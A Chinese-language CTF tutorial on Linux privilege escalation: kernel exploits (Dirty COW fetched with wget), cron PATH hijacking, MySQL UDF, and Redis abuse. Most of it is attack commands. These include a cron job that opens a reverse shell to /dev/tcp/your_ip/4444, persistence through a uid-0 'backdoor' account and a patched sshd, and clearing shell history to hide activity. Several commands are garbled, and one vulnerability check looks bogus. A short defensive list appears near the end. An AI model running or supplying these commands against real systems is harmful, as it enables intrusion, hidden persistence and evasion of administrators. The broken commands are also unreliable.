CTF入门指南:Web安全提权实战解析

张开发
2026/4/15 0:58:47 15 分钟阅读

分享文章

CTF入门指南:Web安全提权实战解析
1. Web安全提权基础概念第一次参加CTF比赛时我对着题目里提权两个字发呆了半小时。后来才明白这就像玩密室逃脱时找到了门禁卡但还需要找到更高级别的管理员卡才能打开最终宝箱。在Web安全领域提权就是从普通用户权限比如www-data升级到更高权限通常是root的过程。为什么提权这么重要想象你攻破了一个网站后台但只能查看几个无关紧要的文件。这时候就需要通过提权技术突破限制获取系统完全控制权。在实际渗透测试中提权往往是最后也是最关键的一步。常见的提权场景主要有三种内核漏洞提权利用操作系统内核的漏洞直接获取root权限配置不当提权比如明文存储的密码、错误的权限设置等服务漏洞提权通过MySQL、Redis等服务漏洞进行权限提升2. 内核漏洞提权实战2.1 漏洞检测与利用去年我在一场CTF比赛中遇到一个典型的内核提权场景。目标系统是Ubuntu 16.04先用以下命令检查系统信息uname -a cat /etc/issue发现内核版本是4.4.0-21-generic立刻想到经典的Dirty COW漏洞CVE-2016-5195。这个漏洞就像系统内核的一个后门允许普通用户写入本应受保护的内存区域。验证漏洞是否存在grep -i dirty /proc/self/status如果返回结果中包含dirty字样说明系统可能 vulnerable。接下来下载利用代码wget https://example.com/exploit.c -O dirty.c gcc dirty.c -o dirty -pthread ./dirty执行成功后输入id命令就能看到自己变成了root用户。记得在实际环境中要谨慎使用这类漏洞利用代码最好先在测试环境验证。2.2 自动化工具使用对于新手来说手动编译利用代码可能有些困难。这时候可以使用自动化工具如LinEnum或Linux Exploit Suggesterwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod x LinEnum.sh ./LinEnum.sh这个脚本会自动检测系统可能存在的漏洞并给出利用建议。我曾经用它在一个CTF靶机上发现了3个可用的提权路径。3. 配置不当提权技巧3.1 明文密码利用上周我测试一个WordPress网站时在wp-config.php文件中发现了这样的配置define(DB_USER, root); define(DB_PASSWORD, Admin123);这就是典型的配置安全问题。拿到数据库root密码后可以尝试密码复用ssh rootlocalhost输入发现的密码有30%的概率能直接登录。如果不行还可以尝试用这个密码爆破其他服务的账号。3.2 计划任务提权检查系统计划任务是个好习惯cat /etc/crontab ls -al /etc/cron.*有一次我发现一个以root权限运行的备份脚本* * * * * root /opt/backup.sh查看脚本内容发现它调用了tar命令而且没有使用绝对路径。于是我在/tmp下创建了一个恶意的tar可执行文件echo chmod 4755 /bin/bash /tmp/tar chmod x /tmp/tar export PATH/tmp:$PATH等待一分钟后/bin/bash就变成了SUID文件可以直接用bash -p获取root shell。4. 服务漏洞提权方法4.1 MySQL UDF提权如果拿到MySQL root权限可以通过UDF提权select plugin_dir; select system(chmod 4755 /bin/bash) as foo into dumpfile /usr/lib/mysql/plugin/exploit.so;然后创建函数执行命令create function do_system returns integer soname exploit.so; select do_system(chmod 4755 /bin/bash);4.2 Redis未授权访问遇到开放的Redis服务时可以尝试redis-cli -h target config set dir /var/spool/cron config set dbfilename root set x \n* * * * * /bin/bash -i /dev/tcp/your_ip/4444 01\n save这会在目标系统上创建一个root权限的计划任务反弹shell到你的监听端口。5. 提权后的操作与防护5.1 稳定shell环境拿到root权限后第一件事是稳定shellpython -c import pty; pty.spawn(/bin/bash) export TERMxterm CtrlZ stty raw -echo fg这样就能获得一个功能完整的交互式shell支持tab补全和命令历史。5.2 权限维持技巧为了防止被管理员踢出系统可以创建隐藏用户echo backdoor::0:0::/root:/bin/bash /etc/passwd或者安装SSH后门cp /usr/sbin/sshd /usr/sbin/sshd.bak perl -pi -e s/root/backdoor/ /usr/sbin/sshd5.3 防护建议作为防御方可以采取这些措施定期更新系统和软件补丁检查/etc/passwd和/etc/shadow文件权限使用sudo而不是直接给root权限监控系统日志中的可疑活动记得在一次CTF比赛中我花了3小时提权成功结果因为没清理日志被管理员发现了。从那以后我都会记得执行echo ~/.bash_history history -c

更多文章